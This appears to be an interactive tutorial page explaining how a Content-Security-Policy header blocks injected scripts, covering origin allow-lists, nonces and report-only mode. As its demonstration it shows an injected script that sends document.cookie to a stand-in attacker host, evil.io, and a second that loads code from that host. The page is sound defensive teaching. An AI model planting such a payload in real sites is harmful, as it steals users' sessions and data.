Skip to content
Optimal Lab

Frontend · interactive

Content Security Policy

Even if an attacker manages to inject a script tag, a Content-Security-Policy header can tell the browser not to run it. The page below has three legitimate scripts and two injected ones. Tighten the policy.

(none)

  • <script src="/app.js">runs
  • <script src="https://plausible.io/js/script.js">runs
  • <script nonce=…>window.CONFIG = {…}</script>runs
  • <script>fetch('//evil.io?c='+document.cookie)</script>runs
  • <script src="https://evil.io/x.js"> (injected)runs

2 injected scripts run · 0 legitimate scripts blocked

Without a policy, injected scripts run like your own: cookies and data are stolen.

Policy

Step 1 of 4

  1. 1

    Defence in depth against XSS

    Escaping output prevents injection; CSP limits the damage if something slips through.

    See the XSS session.

  2. 2

    Allow-lists by origin

    'self' and named domains. Simple, but inline scripts stop working and CDNs can host attacker code.

    Never add 'unsafe-inline' to script-src.

  3. 3

    Nonces and strict-dynamic

    A fresh random nonce per response marks your scripts. Recommended by Google's CSP guidance.

    <script nonce="r4nd0m">

  4. 4

    Report-only first

    Content-Security-Policy-Report-Only logs violations without blocking, so you can fix them before enforcing.

    Also set frame-ancestors and object-src 'none'.

In production

Tools and technologies

CSP is a standard defence against XSS.

Not tied to one language — use these names when you search docs or design a system.